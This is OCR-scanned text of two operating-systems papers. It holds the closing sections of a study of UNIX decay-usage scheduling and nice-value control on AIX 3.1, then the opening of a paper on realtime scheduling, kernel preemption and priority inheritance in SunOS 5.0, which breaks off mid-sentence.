poorly for small values of Cle. Indeed, inaccuracies caused by the continuous approximation
may well explain the discrepancy between measured and predicted values in Figure 2. Our
experience has been that the model works well for Cle ~ 5, suggesting that it is accurate for
service fractions no smaller than ClefT (e.g., 50/0 in AIX 3.1).
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This section investigates how the parameters R, T, and D affect performance. Ideally, these
parameters should be chosen so that interactive work receives short response times and long­
running, compute-bound processes are controlled in a manner consistent with installation
objectives. Herein, we focus on the latter, although some of our observations relate to the
former as well.

We begin by studying the effectiveness of the nice-mechanism for several combinations of
R, T, and D. The approach taken is to use our model to analyze the relative CPU consumption
of two classes of compute-bound processes (e.g., foreground and background). To assess the
effectiveness of the nice-mechanism, we examine the range of Cl /C2 produced as nice-values
are changed for several combinations of R, T, and D; total control over process service rates is
achieved if CliC2 varies from J to 00. As noted in section 3, our model tends to over-estimate
CdC2 for small values of C2, and so the plots presented may not portray accurately the nice­
values at which large values of CdC2 are obtained. Even so, the model provides insight into
the directional effects of parameter values.

Figure 3 plots CdC2 versus N2 - Nl as predicted by Eq. (8) for four combinations of M l and
M2• A nice-range of 40 is considered, as is provided in most UNIX systems. In each plot, there
are lines for four combinations of T,D. (To simplify matters, we let R = lID, as in AIX 3.1 and
System V.) The values chosen for T, D correspond to those used in a variety of systems: 60,2
is used on a VAX running System V; 100,2 is used in AIX 3.1; and D = 1.6 is used in the Mach
Operating System [3].

From the plots in Figure 3, it appears that a wider range of CdC2 is obtained when Tis
small. To explain this, note that as T increases so does the fraction of the decay cycle during
which both class I and class 2 processes execute, thereby decreasing the fraction of the CPU
provided exclusively to class 1.

The foregoing explains why the nice-mechanism is often less effective on faster processors.
While the duration of a decay cycle is almost always one second, faster processors typically
have smaller quantum sizes so as to hold constant the number of instructions executed per
quantum. As a result, T, the number of quanta per dec~y cycle, tends to increase with
processor speed. Thus, for a given N2 - Nt, faster processors tend to have a smaller CdC2 than
slower processors.

In Figure 3 we also see that the effectiveness of the nice-mechanism increases with D. "This
characteristic is a consequence of the fact that p_cpu is divided by D at the end of a decay
cycle. If D is very large, p_usrpri~p_nice at the beginning of a decay cycle. In terms of
steady-state performance, the role of R is similar to that of D in that p_usrpri = p_nice when
R=O.

As the number of class 1 and/or class 2 processes increases, so does the range of CdC2• This
occurs in a highly non-linear fashion. Also note that the Cl /C2 obtained for a setting of nice­
values depends on the number processes in each class. For example, consider T= 100,
D = 2, and N2 - Nl = 30. When M l = 1 = M2, C1fC2 < 2; but when Ml = 3 = M2 , C1fC2 > 10.
This observation suggests that we must take into account the number of processes in each
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Figure 3. Relative Effectiveness of Nice--Values. (Label is T,D. R = liD.)

class when calculating nice-values that achieve service rate objectives for compute-bound
processes. Doing so, however, is undesirable since control actions may be required whenever
a process enters or leaves the run queue. As we show in the next section, this concern is un­
warranted; nice-values that achieve service rate objectives can be computed statically, without
regard to the number of processes in each class.

Our fmal remark about Figure 3 is that the CdC" curves for 100,2 are coincident with those
for 60,1.6. That is, these two parameter settings produce the same steady-state behavior.
Indeed, from Eq. (8) we see that the parameters T, R, and D only influence CdC" through the
term TRD/(D - 1). Thus, for steady-state behavior, there is, in essence, one parameter, not
three. We note, however, that the transient behavior of 100,2 is quite different from that of
60,1.6. To see why, consider Eq.. (2). Note that V.(n), the accumulated CPU for a class k
process at the beginning of the n-th decay cycle, is computed by dividing V...(n - 1) by D; the
role of Rand T is indirect through the term C.(n - 1). If V.(n) =/::. V...(n - 1) (i.e., we are not in
steady-state), D must be considered separately from T and R. One implication of the foregoing
is that smaller values of D favor interactive work over long-running, compute-bound proc­
esses.

How big must the range of nice-values be in order to obtain total control over process
service rates? To answer this question, we consider Eq. (8). Since CdC" increases with
N2 - Nit it suffices to determine the conditions under which the denominator becomes O. We
consider the most extreme case: M1 = I. Thus,
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(9)
C1 RTD
C

2
~ 00 as N2 - Nt ~ D - 1 .

For T = 100, D = 2, and R = .5, N2 - NI ~ 100 is required; if T = 60, D = 2, and R = .5,
N2 - NI ~ 60; and for T= 100, D = 1.6, and R = 1/1.6, we require that N2 - NI ~ 167. In
practice, Eq. (9) provides a lower bound since our model tends to over-estimate CIIC2 for
smaller values of C2•

5. Control Algorithm

This section describes an algorithm that calculates nice-values that achieve service rate objec­
tives for compute-bound processes. One use of this algorithm is to provide system adminis­
trators with a step-by-step procedure for tuning UNIX systems. In addition, the algorithm
can be incorporated into a fair share scheduler, such as that described in [13], so as to provide
a formal basis for calculating nice-values that achieve installation objectives for user processes.

Our algorithm requires that the installation provide two kinds of information. First, we
must know the service rate objective for each process class. We denote the service rate ob­
jective for a class k process by Sic, and we assume that classes are indexed so that
Sl ~ oo. ~ SK. The second kind of information used by our algorithm is a threshold for p_cpu
beyond which a process is considered compute-bound and is therefore controlled by our al­
gorithm. We denote this threshold by Te.

Before applying the algorithm, we want to verify that service demands do not exceed the
capacity available. That is, we want

Clearly, a uni-processor system cannot achieve its service rate objectives if this constraint is
violated. Thus, there must be a policy for handling capacity deficits. One approach is to de­
crease service rates in proportion to the service objectives. That is,

Si
S'i=-K---

LMkSk
k=l

where S't is the new service rate objective for a class i process.

Once we are assured that our objectives are feasible, nice-values can be calculated. From
our studies in section 4, it may seem that these calculations require considering the number
of processes in each class. This is not the case. The reason is that the CPU obtained by a class
j process in the k-th epoch (k ~J) depends only on the difference,}n priority between a class k
proqess and a class k + 1 process. More formally, assuming that Tic ~ T, classes 1, .oo , k receive
TIcIMIc tics during the k-th epoch. From Eq. (4), we see that
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Furthermore, the difference between the service rate achieved by a class k process and one in
class k + 1 is due entirely to the k-th epoch. That is,

Solving for the difference in nice-values, we have

RTD(Sk - Sk+ 1)
Nk + l -Nk = D-I .

(10)

(II)

To calculate nice-values, we rrrst observe that all processes controlled by our algorithm
must have a priority that exceeds the p_cpu of processes that are not under the algorithm's
control. Since the processes in class 1 have the smallest nice-values, we require that
N l ~ RTc. We now proceed inductively. Given NIr , we compute NIr + l using Eq. (1 I). The de­
tails of our algorithm are contained in Figure 4.

From Eq. (10), we see that the range ofnice-values constrains the service fractions that can
be achieved. Specifically,

(12)

where N"" is the range of nice-values. For example, in AIX 3.1 N"" = 40, D = 2, R = .5, and
T = 100; thus, the maximum value for SI - 5K is .4.

A second constraint imposed on the objectives achievable by our algorithm is that UNIX
systems typically represent nice-values and priorities as integers, not floating point numbers;
further, priorities are computed using integer arithmetic (often just shift operations). Thus,
even if the constraint in Eq. (12) is satisfied, it may be that an objective can only be approxi­
mated because of the limited number of values possible for process priorities.

How well does our algorithm work in practice? To answer this question, we conducted
several experiments on an AIX 3.1 system running a production workload consisting of soft­
ware development and numerically intensive applications. We considered three process
classes, with 51 = .3, 52 = .2, S~ = .15, and Tc = 8 quanta (80 milliseconds). Since root privi­
leges were not used, the available nice range was only 19 (Le., N"" = 19). We see that 51 - 53
does not violate the constraint imposed by Eq. (12) since

51 - 53 = .15:s; (Nrng - RTc)/IOO = .15.

Applying our algorithm, we have

Nl =RTc .
=4

RTD(51 - 52)
N2 =Nl + D-l

= 14
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Figure 4. Algorithm for Calculating Nice-Values That Achieve Service Rate Objectives

We evaluated our algorithm by considering three compute-bound workloads. In the frrst,
the service requested is less than the capacity available. We refer to this as the under-loaded
case, and used M1 = 1, M2 = 1, and M3 = 2. Note that ~SiMi=.8 < 1. The second workload
studies the algorithm when the service requested is equal to the capacity available. Referred
to as the fully-loaded case, we used M1 = 1, M2 = 2, and M3 = 2; so 'LSiMi= 1. Lastly, we ad­
dress the situation in which insufficient capacity is available to satisfy service demands; that
is, the system is over-loaded. In this case, M1 = 2, M2 = 2, and M3 = 2; so 'LSiMi= 1.3> 1.

Our experiments consisted of starting M1 + M2 + M3 compute-bound processes in back­
ground with a nice-value of o. The processes were monitored until their service rates were
identical. At that point, the re-nice command was issued to set the appropriate nice-values.
Figure 5 contains three plots (shown side-by-side) that record for each workload the average
service fraction of processes in the three classes. (A dashed line is used to indicate the objec­
tives for each class.) In the fully-loaded case, the objectives are achieved within a few minutes,
although there is some variability (which we attribute to conducting the experiments on a
production system). In the under-loaded case, all classes exceed their objectives; furthermore,
no class seems to benefit unfairly from having capacity exceed demands. When the system is
over-loaded, no class meets its objectives, but the capacity deficit seems to be handled in a
way so that no class suffers disproportionately. This last observation may mean that it is
unnecessary to re-normalize service rates if demand exceeds capacity, which can simplifY the
implementation of our algorithm.

Although we have described the implementation of our algorithm in terms of manipulating
nice-values, it can be used to adjust any constant that is added to the priority equation. For
example, in [4] and [7], the priority equation takes the form of

p_usrpri = R*p_usrpri + p_nice + p_shareadj

where p_shareadj is a control for achieving service rate objectives. Existing approaches to
adjusting p_shareadj are ad-hoc, and may be unreliable. It is very likely that the performance
of these schedulers could be improved by using our algorithm to manipulate p_shareadj.

6. Conclusions

Production UNIX systems often have service rate objectives. In the past, these objectives
have been difficult to achieve because of a limited understanding of the decay-usage CPU
scheduling that is employed by most UNIX systems. This paper develops an analytic model
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Figure 5. Transient Behavior of Algorithm for Achieving Service Rate Objectives

that relates service rate objectives for compute-bound processes to nice-values and three
scheduler parameters: R (the rate at which priority increases for each quantum consumed),
T (the number of quanta in a decay cycle), and D (the decay factor); the model is evaluated
based on experiments run on an AIX 3.1 system. From the model, we obtain insights into the
control implications of scheduler parameters. For example, we show that the nice-mechanism
is often less effective on faster processors since T tends to increase with processor speed; this
increases the fraction of time during which processes with larger nice-values execute, and
hence limits the extent to which their service rates can be controlled. In addition, we use the
model to develop an algorithm that calculates nice-values that achieve service rate objectives
for compute-bound processes. Experiments conducted on a production AIX 3.1 system sug­
gest that our algorithm works well in practice.

Many questions remain. How does decay-usage scheduling work for multi-processor sys­
tems? What is the effect of processes that are not compute-bound? When steady-state is
disturbed, such as by a control action or by a change in the workload, what is the transient
behavior? Answering this last question is particularly important since it can lead to a better
understanding of several aspects of decay-usage scheduling. For example, short interactions
never reach a steady-state priority; so analyzing their performance requires an understanding
of transient behavior. Also, in our experiments, service rates always converged to their
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steady-state values; we hope to prove that this is the case in general. Last, we want to know
the rate of convergence to steady-state so that we can better understand how frequently con­
trol actions can be taken.
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Abstract
We describe the fundamental mechanisms in SunOS 5.0 to provide realtime scheduling functionality. Our primary
goal was to provide bounded behavior for dispatching or blocking threads. To achieve this goal we have modified the
kernel to be/uJly preemptive, guaranteeing dispatch after both synchronous and asynchronous wakeups. We have also
worked toward controlling priority inversion in lhe kernel. The result is a kernel capable of delivering realtime sched­
uling and bounded response to a large class of user level applications.

1.0 Introduction

A realtime operating system may be defined as one that has the ability to provide a required level of service in a
bounded response time. To achieve a bounded response time, time-critical applications require control over their
scheduling behavior. Increasing numbers of new, interesting applications for the desktop possess time-critical aspects.
Some examples that come immediately to mind are in the area of user interfaces, multimedia, and virtual reality.
"These applications are typically "mixed-mode," that is, they are partitionable into schedulable entities, some but not
all of which require realtime response. It seems desirable to provide a standards-conformant, full-featured environ­
ment like SunOS for the tasks without realtime requirements. But to support these applications, SunOS must be able
to provide some realtime capability to those tasks that are time-critical. From our desires to provide realtime capabil­
ity and to use SunOS as the basis of our work, we derived the set of requirements listed below.

• The scheduling of tasks in the kernel should be deterministic. By deterministic scheduling, we mean the kernel
should provide priority-based scheduling for user tasks, so lhatthe time-critical application developer has control of
the scheduling behavior of the system; the kernel should provide bounded dispatch latency, so that time-critical user
tasks are not subjected to unexpected and undesirable delays; the kernel should be free from unbounded priority
inversions.

• No draconian demands should be placed on application behavior in order to obtain realtime response. This is impor­
tant for mixed-mode applications including non-realtime components which require the general services of a UNIX
environment.

• The resultant operating system should be appropriate for multiprocessor machines.

• The resultant operating system should present a standard interface to the programmer and user. In particular, the
interface that we must support is that described in the System V Interface Definition [AT&T 1989].

Historical implementations of UNIX have not provided bounded dispatch latency. The principal failure of these sys­
tems was that a process executing in the kernel was not preemptible. A low;:priorily process would retain control of
the processor until the process either blocked or attempted to return to user state.
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One possible solution was the use of preemption points whereby, at various points throughout the kernel, code was
inserted to check if the current process should be preempted and, if so, force the preemption [AT&T 1990]. These
preemption points could be inserted, however, only where the process could recover from the effects of the preemp­
tion. For instance, an exiting process releasing its memory resources could not be preempted if its process state was
not safe for scheduling. Hence, while a kernel with preemption points might be able to provide bounded dispatch
latency, it might be guaranteed only while no process used certain kernel facilities.

SunOS 5.0 has a fully preemptible kernel, based on fully synchronized access by kernel code to kernel storage and
resources. The elimination of the pervasive use of elevated processor interrupt levels to mask interrupts leaves a small
set of non-preemption intervals. This permits immediate preemption when a higher priority task becomes runnable.
Another relevant feature of SunOS 5.0 is the use of dynamically loaded kernel modules to enhance kernel extensibil­
ity.

The rest of this paper consists of the following sections: Details of Implementation, which describes the objects and
methods involved in implementing realtime scheduling in the kernel; Lessons Learned, where we discuss some of the
problems ofour implementation; Performance, where we describe the results of our work and the measurement meth­
ods used; and Futures, where we discuss areas for possible improvement and enhancement

2.0 Details of Implementation

Several elements compose the realtime scheduling features of SunOS 5.0. The foremost of these is that the internal
architecture of SunOS is based on threads [Powell 1991]. Within the kernel, threads interact through the use of shared
memory and synchronization objects.

The user and programmer interfaces for realtime scheduling are those provided by SVR4. Runnable threads are
queued in a system-wide dispatch queue array, and the scheduler determines when and which threads are to be dis­
patched for execution on the system processors. We describe below the scheduler activities in kernel preemption,
multiprocessor scheduling, and the techniques we used to lower dispatch latency.

2.1 Elements

Figure 2-1 illustrates the scheduling elements of SunOS 5.0. The fundamental unit of scheduling in this system is the
thread. A thread is a single flow-of-control. Each thread possesses a register state and a stack. The system associates
with each thread extra state information relating to its schedulability. These include the thread dispatch priority and
processor affinity that determines on which processors a thread can execute. In SunOS 5.0, processor affinities are not
user accessible; the default is to execute on all processors.
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The primary example of a thread is an LWP executing within a process [Powell 1991]. Such a thread has extra associ­
ated information for accessing, for example, file descriptors, user credentials, and signal context. Kernel daemon
threads are responsible for pageout, swapping, the background servicing of STREAMS. An idle thread is selected for
execution whenever no other thread is runnable, and switches whenever another thread becomes runnable.

Threads interact using synchronization objects. A mulex allows a single thread access to the information protected by
the mutex. A condilion variable allows threads to suspend execution, waiting for some change in the condition which
the thread requires. A readers/wriler lock allows a single thread to modify or multiple threads to examine some
shared information. A counling semaphore permits synchronization from a thread that does not wish to block. Opera­
tions on synchronization objects include acquisition, which may involve blocking the calling thread, and release,
which may involve unblocking other threads.

Interrupt processing is performed by interrupt threads, created at interrupt time and exiting when interrupt processing
is complete [SunSoft MT, to appear]. One particular interrupt thread, the clock thread, is dispatched upon clock inter­
rupt, and is responsible for time-based scheduling activities. Currently, interrupt threads have an affinity for the pro­
cessor which took the interrupt, and so cannot migrate to another processor. Interrupt and foreground threads use
synchronization objects to interact, and hence the pervasive use of elevated interrupt level in the kernel is eliminated.
Asynchronous wakeup refers to the occasion when an interrupt thread releases a synchronization object and unblocks
another thread; we use the term synchronous wakeup when this is done by a foreground thread.

2.2 Priority Model

We associate with each thread a number of priority values: dispatch priority, global priority, inherited priority, and
typically, a user priority. The user priority, together with other application parameters, determines the thread's global
priority. The inherited priority, derived through priority inheritance as described below, and the global priority deter­
mine the dispatch priority, the actual value used in queuing and selecting a thread for execution.

The dispatcher, illustrated in Figure 2-1, uses an array of dispatch queues, indexed by dispatch priority. When a thread
is made runnable, it is placed on a dispatch queue, typically at the end, corresponding to its dispatch priority. When a
processor switches to a new thread, it always selects the thread at the beginning of the highest priority nonempty dis­
patch queue. Threads may not change dispatch priority while on a dispatch queue; the thread must be first removed,
its dispatch priority adjusted, and then the thread may be placed on a different dispatch queue.

When a thread needs to wait on a synchronization object, it is placed on a sleep queue associated with the synchroni­
zation object. The sleep queue is maintained in dispatch priority order, so that when the synchronization object is
released, the highest priority thread waiting for the object is at the head of the sleep queue.

2.3 Scheduling Attributes

In SunOS 5.0 threads are divided into of the scheduling classes. Each class chooses the attributes for the priority of
threads in that class. These attributes are determined in the class dependent functions supplied by each scheduling
class. Scheduling class dependent code must abide by certain rules expected by the class independent code, such as
that the higher the priority value, the higher the priority of the thread. However, scheduling class dependent functions
have the flexibility to decide the range of priority values for threads belonging to Lhe class, and the class dependent
functions also determine when (if ever) a thread's priority value changes.

A new thread inherits the scheduling class of its parent Associated with each Lhread is a class id, t_cid and a pointer
to the class specific data, ,_cldala. Within the class specific data is Lhe class specific priority, the time quantum associ­
ated with the thread and the other class related data. A thread may change its scheduling class by using the prio-

• cntl(2) system call. The priocntl(2) system call may also be used to change other parameters associated with thread
processor usage.

SunOS 5.0 by default supports lhree scheduling classes. The time-sharing class supports a time slicing technique for
threads using the processor. Time-sharing class threads are scheduled dynamically, wiLh a few hundred milliseconds
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per time slice. The time-sharing scheduler switches context in round-robin fashion often enough to give every thread
an'equal opportunity to run. The sys class exists for the purpose of scheduling the execution of special system threads
and interrupt threads. Threads in the sys class have fixed priorities established by the kernel when they are started. It
is not possible for a user thread to change its class to sys class. The realtime class supports a fixed priority technique
of processor access. Realtime threads are scheduled strictly on the basis of their priority and the time quantum associ­
ated with them. A realtime thread with infinite time quantum runs until it tenninates, blocks or is preempted. Figure
2-2 shows the default configuration of scheduling classes in SunDS 5.0.

Interrupt thread priorities are computed such that they are always the highest priority threads in the system. If a
scheduling class is dynamically loaded, the priorities of the interrupt threads are recomputed to ensure that they
remain the highest priority threads in the system.

Each scheduling class has a unique scheduling policy for dispatching threads within its class and a set of priority lev­
els which apply to threads in that class as illustrated in Figure 2-2. A class-specific mapping translates these priorities
into a set of global priorities. The user can configure the ranges as well as the global mapping associated with each
class.

RT
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2.4 Scheduling

SunDS 5.0 is designed to run on a shared-memory multiprocessor system. The set of threads, threads' data, and syn­
chronization objects are shared by all processors, and the system has a single dispatch queue for all processors. We
assume that each processor can send an interrupt to any other processor. Except for specially configured threads
bound to a single processor, threads may be selected for dispatch on any processor.

As far as scheduling is concerned, threads can be in one of three states: blocked, runnable, or executing. Figure 2-3
shows examples of each of these cases. Blocked threads are those waiting on some synchronization object, such as
BTn• When the object is released, the highest priority or all waiting threads in the sleep queue are made runnable.
Unblocked threads are placed at the end of the dispatch queue for their dispatch priority, such as RTn• The thread
enters the executing state when a processor selects it for execution, such as DTn• An executing thread may become a
blocked thread by waiting on a synchronization object, or may be preempted by a higher priority thread and placed
back on the dispatch queue as a runnable thread. When an executing thread blocks, the system dispatches another
thread.

•
In a uniprocessor system, realtime scheduling is defined to mean that the highest priority thread is dispatched, within
a bounded time of its becoming runnable. The obvious extension to a n-processor environment is that the n highest
priority processes should be dispatched. Unfortunately, this state is not achievable in a system in which some threads
are restricted to or from certain processors. We have made a more local generalization, emphasizing scheduling oper-
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ations in terms of a single thread or single processor at a time. We chose the following design objective: a runnable
thread will be dispatched if it has higher priority than some thread currently executing on a processor for which this
thread has affinity. Stated from the processor point of view: every processor is executing a thread with at least as high
dispatch priority as the highest among the runnable threads having affinity for this processor. This objective can guar­
antee the dispatch latency for a thread only if it remains the highest priority thread on the dispatch queue until dis­
patched. Each arrival of a higher priority thread while a thread is awaiting dispatch restarts its dispatch latency
interval.
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Currently, a single spin lock, schedlock, protects all scheduling operations. In particular, whenever the release of a
synchronization object makes some thread runnable, schedlock is held while placing the thread on the dispatch
queue. The function schedJockO obtains this lock, and sched_unlock() releases the lock. If the lock is currently
held, the processor will spin on the lock, waiting for access. To prevent interference and delays from interrupt rou­
tines, the holder of schedlock runs at an elevated processor interrupt level.

Associated with each processor is a set of scheduling variables: cpu_thread. cpu_dispthread, cpu_idle, cpu_runrun,
cpu_kprunrun, and cpu_chosen-,evel. The cpu_thread value refers to the thread currently executing on the processor,
and is changed whenever execution of a different thread begins. The cpu_dispthread value records the identity of the
thread last selected for dispatch on that processor. The cpu_idle value refers to a special idle thread allocated for this
processor, having a priority lower than any dispatch priority, and never appearing in the dispatch queue. The
cpu_runrun and cpu_kprunrun values record requests for preemption of the current thread. The cpu_chosen-,evel
records the priority of the thread which is slated to preempt the thread currently executing on that processor.

Threads are placed on the dispatch queue by one of two functions: setfrontdq() or setbackdqO. The setfrontdqO
function is used primarily when a thread is preempted, to place it at the head of its dispatch queue so that when a
thread is next chosen for dispatch from its level, it will be the first selected. The setbackdqO function places a thread
at the tail of its dispatch queue. Thus a newly-awakened thread will be dispatched only after all other threads at its
dispatch priority have been dispatched.

After setfrontdq() or setbackdqO has put a thread on the dispatch queue, the cpu_chooseO function is called to find
a processor on which the runnable thread might be dispatched. This function finds the processor with the lowest pri-
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ority dispatched thread. If this thread has a lower priority than the newly runnable thread. that processor is marked for
preemption. that processor·s cpu_chosen_level is set to the new thread·s priority. and if necessary. the interprocessor
interrupt is sent. The cpu_chosen_level is used by later calls to cpu_chooseO as an indication that a higher priority
thread is intended for this processor.

Table 1: Scheduling Interfaces

Function Description
setfrontdq Put a thread onto the front of the dispatch queue.

setbackdq Put a thread onto the back of the dispatch queue.

cpu_choose Determine a processor to execute a thread.

cpu_surrender Have a thread give up its processor.

disp Select a thread for execution from the dispatch queue.

swtch Select the next thread to execute.

kpreempt Attempt to preempt the kernel.

kpreempi_disable Disable preemption for a critical interval.

kpreempt_enable Reenable preemption.

When a thread which is currently executing on a processor has its dispatch priority lowered below that of the highest
priority runnable thread. either through the effect of a priocntlO call or by loss of inheritance (§2.5.2). it is appropri­
ate for that thread to be preempted by the higher priority thread. The cpu_surrender() function accomplishes this.
finding the processor on which the target thread is executing and marking it for preemption. and sending the interpro­
cessor interrupt. if necessary. The level of preemption is determined by comparison with a system parameter. kpre­
emptpri. with lower levels causing user preemption and higher levels causing kernel preemption.

Before we can describe the dispatch operation. some details concerning interrupt thread creation and termination are
required. For efficiency. the dispatch of an interrupt thread is not a complete dispatch operation. Instead. the thread
executing at the time of the interrupt is pushed onto a LIFO list. and execution of the interrupt thread begins immedi­
ately. with cpu_thread set to refer to the interrupt thread. Since the pushed thread cannot be dispatched until the inter­
rupt thread terminates or blocks. the interrupted thread is called "pinned." If the interrupt thread terminates without
blocking. as would typically be the case. the head of the interrupt list is popped ofT for execution [SunSoft MT. to
appear].

The swtchO function provides the fundamental operation of scheduling. If the calling thread is an interrupt thread
with a pinned thread. the pinned thread is unpinned and execution is switched to that thread. Otherwise. the function
dispO is called to select the highest priority thread eligible for execution on this processor. If no runnable thread
exists for this processor. dispO returns the idle thread for this processor (ID2 in Figure 2-3).The dispO function
automatically resets the cpu_chasen_level and the cpu_kprunrun and cpu_runrun preemption flags. and sets
cpu_dispthread to reflect the newly dispatched thread.

SunOS 5.0 has two modes of preemption. user and kernel. User level preemption refers not to a user level request, but
a "lazy" preemption which is deferred until the thread last dispatched attempts to return to user mode; this corre­
sponds to the historical notion of runrun [Leffler 1989]. User level preemption forces a swtchO call before resuming
user state execution of a process; this level of preemption is requested by setting the cpu_runrun flag associated with
the processor. User preemption requests are recognized at the end of trap or system call processing.

Kernel preemption requests an immediate swtchO call, and is requested by selling the cpu_kprunrun flag. These
requests can occur because of scheduling operations on either the same or another processor. The requests on the
same processor may occur while executing the thread to be preempted, or may occur while executing an interrupt
thread pinning the thread to be preempted. Requests occurring on another processor result in a interprocessor inter­
rupt, and thus can be processed like preemption requests occurring during local interrupts.
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Thus, kernel preemption requests need only be checked at two places: in the sched_unlockO routine, and at the end
of interrupt processing. In both instances, if the cpu_kprunrun flag is set, the kpreemptO routine is called. This rou­
tine determines whether circumstances are appropri~te for preemption, or should be deferred. Examples of circum­
stances under which preemption is deferred include when the executing thread is already slated to call swtchO, the
calling thread is the idle thread or an interrupt thread, or preemption is disabled. The latter condition arises when
some processor state, such as floating point or memory management context is in flux. These conditions are bracketed
by calls to kpreempt_disableO I kpreempt_enableO, with the latter function checking for a deferred preemption.

The thread time quantum is enforced by class-specific code, which marks the class specific data to indicate an expired
thread, and requests preemption. When the actual preemption occurs, the class-specific code checks the expiration
mark, and if so, calls setbackdqO rather than setfrontdqO when placing the current thread on the dispatch queues,
thus providing round-robin scheduling.

2.5 Priority Inversion

Priority inversion is the condition that occurs when the execution of a high priority thread is blocked by a lower prior­
ity thread. If the duration of priority inversion in a system is unbounded, it is said to be uncontrolled. Uncontrolled
priority inversion can cause unbounded delays during blocking, resulting in missed deadlines even under very low
levels of processor utilization. During the design phase, we identified two types of priority inversion as particular
areas of concern. These areas are hidden scheduling and the priority inversion problem associated with the use of syn­
chronization objects, usually called simply the priority inversion problem.

2.5.1 Hidden Scheduling

We define hidden scheduling as that work done asynchronously in the kernel on behalf of threads without regard to
their priority. One example is the traditional model of streams processing. In this traditional model, whenever a pro­
cess is about to return from the kernel to user mode, the kernel checks to see if there are any requests pending in the
streams queues, and if so, these requests are processed before the thread returns to user mode. In effect, these requests
are being handled at the wrong priority.

Another example is the processing of the callout-queue, a mechanism for scheduling delayed processing of specified
functions. The timeoutO function puts requests on the callout-queue; its interface is specified in Table 2. Regardless
of whether a request for delayed processing was issued by a timesharing thread, a realtime thread or a system thread,
callout processing is done at the lowest interrupt level. It is possible that the time for a request issued by a time-shar­
ing thread arrives while a realtime thread is running. This will cause the realtime thread to be interrupted, resulting in
priority inversion. Since neither the number nor the duration of the functions on the callout-queue are predictable, the
duration of priority inversion is non-deterministic. and hence is uncontrolled. Measurements taken under SunOS
4.0.3 and SunOS 4.1 have shown that it could take longer than 5 milliseconds to process the callout-queue. Such
unscheduled delays are unacceptable in an operating system that purpons to offer a realtime response.

Table 2: Timeout Interfaces

Interface Description

timeout (June, arg, t) Schedule the function June to be called at time t from now. Processed at
the highest priority for system threads.

realtime_timeout lfunc, arg, t) Schedule the function Junc to be called at time I from now. Processed at
the lowest sofLware interrupt level.

In the ideal case, all work done in the kernel would be done at the priority of the thread that requested the work. To do
this for the callout mechanism would entail associating a priority with each request and creating a thread at that prior­
ity to do the requested work. The obvious drawbacks of this approach are the creation of many threads. more context
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switches, and the major restructuring required of the existing callout-queue framework. Another possible alternative
is to prOCess only the smaller requests at interrupt level and process the remainder at a lower priority. This approach
requires complete knowledge of the entire system. With dynamically loadable modules this is not a feasible solution.

To address the problem of hidden scheduling, we have whenever possible followed a policy of moving kernel pro­
cessing of this sort into kernel threads, so that the work does not preempt or run at the expense of realtime work on
the system. The processing of the streams queues has been dealt with in this fashion [SunSoft MT, to appear]. Simi­
larly, the delayed processing scheduled by the timeoutO function is done by a kernel thread, callout_thread, running
at the highest sys class priority. In the default configuration, this thread runs at a priority immediately below the real­
time class priorities. As before, at every clock tick, the callout_thread checks to see if any timeout processing needs
to be done. The difference is that, instead of being called at interrupt level, now it simply sleeps on a condition vari­
able periodically signalled by the clock interrupt The callout_thread runs only after all the realtime threads run,
thereby avoiding priority inversion due to delayed processing.

Yet realtime threads may need to set a timer/alarm so that they can be awakened in realtime. This problem has been
addressed by adding a function called realtime_timeoutO. The requests made via realtime_timeoutO are run at the
lowest interrupt level and are kept on a separate heap. Figure 2-4 shows the priority space model before and after the
changes for realtime_timeoutO. Only time-critical interfaces use this function. For example, the interval timer
and its interface, setitimerO are based on realtime_timeoutO. The interfaces for timeoutO and realtime_timeoutO
are identical as shown in Table 2.
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2.5.2 The Priority Inversion Problem

The priority inversion problem was first identified by Lampson and Redell in their discussion on the use of monitors
in Mesa [Lampson 1980]. It has received a moderate amount of attention lately in the literature [Rajkumar 1988] [Sha

'1990]. What follows is a brief description of the problem as it pertains to SunOS. SunOS 5.0 is a multithreading ker­
nel that uses synchronization objects such as mutexes and readers/writer locks to enforce thread synchronization. The
use of such synchronization objects can lead to uncontrolled priority inversion. By way of illustration, consider the
case where a high priority thread that uses a mutex gets blocked during the periods of time when a lower-priority
thread that owns the mutex is preempted by intermediate-priority threads. These periods of time are potentially very
long-in fact, they are unbounded, since the amount of time a high priority thread must wait for a mutex to become
unlocked may depend not only on the duration of some critical sections, but on the duration of the complete execution
of some threads. Figure 2-5 below illustrates these situations. Case A shows simple priority inversion: low priority
thread T2 blocks high priority thread T1 because T2 holds synchronization object So; Case B is identical, save that
medium priority thread T3 preempts the execution of T2, with the result that T I 's blocking time depends on the dura­
tion of T3 t s execution.
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Fi ure 2-5: Bounded and Unbounded Priorit Inversion

To solve the priority inversion problem, we have chosen to implement the basic priority inheritance protocol. A com­
plete and detailed discussion of this protocol is beyond the scope of this paper, but its essentials are easily described.
A more elaborate description may be found in [Sha 1990]. The basic priority inheritance protocol attempts to limit the
duration of priority inversion during blocking by having a blocked high priority thread propagate (will) its priority to
all lower priority threads that block it. When lower priority threads cease to block a high priority thread, the lower pri­
ority threads revert to their original priority.

The basic priority inheritance protocol concerns itself with two general abstract data types. These abstract data types
are the schedulable entity, in our case the thread, and synchronization objects, in our implementation mutexes and
readers/writer locks. Let us consider what happens in the general case when threads acquire and release synchroniza­
tion objects. Before a thread T} enters a critical section, it attempts to acquire ownership of the synchronization object
S guarding the critical section. If the synchronization object S is already owned by thread T2, the attempt by thread T}
to acquire synchronization object S fails, and thread T} blocks. In this scenario, thread T} is said to be blocked on syn­
chronization object S and blocked by thread T2• If the synchronization object S is not already owned by another
thread, thread T} will acquire ownership of synchronization object S and enter the critical section that it guards. When
thread T} exits this critical section, it releases synchronization object S and awakens the highest priority thread
blocked on S by T}.

Priority inheritance determines at what priority threads block and are dispatched. Priority inheritance makes a distinc­
tion between the global priority and the inherited priority of a thread. The inherited priority is the priority a thread
obtains via priority inheritance by blocking higher priority threads. The dispatch priority is computed as the maxi­
mum of the global and inherited priorities of a thread. A thread T executes at its global priority unless it is in a critical
section and is blocking higher priority threads. If thread T blocks higher priority threads, T inherits a priority equal to
the maximum dispatch priority of the threads it blocks. When thread Texits a critical section and releases the associ­
~ted synchronization object, it relinquishes the inheritance it obtained by holding the synchronization object.

To ensure that the duration of priority inversion is bounded, the basic priority inheritance protocol requires that prior­
ity inheritance be transitive. That is, if there are three threads, T}, T2, and T3' such that the dispatch priorities are
ordered thus:

Priority(TJ} > Priority(T2} > Priority(T3}

and if thread T3 blocks thread T2 , and thread T2 blocks thread Tlt then thread T3 inherits the priority of thread T} via
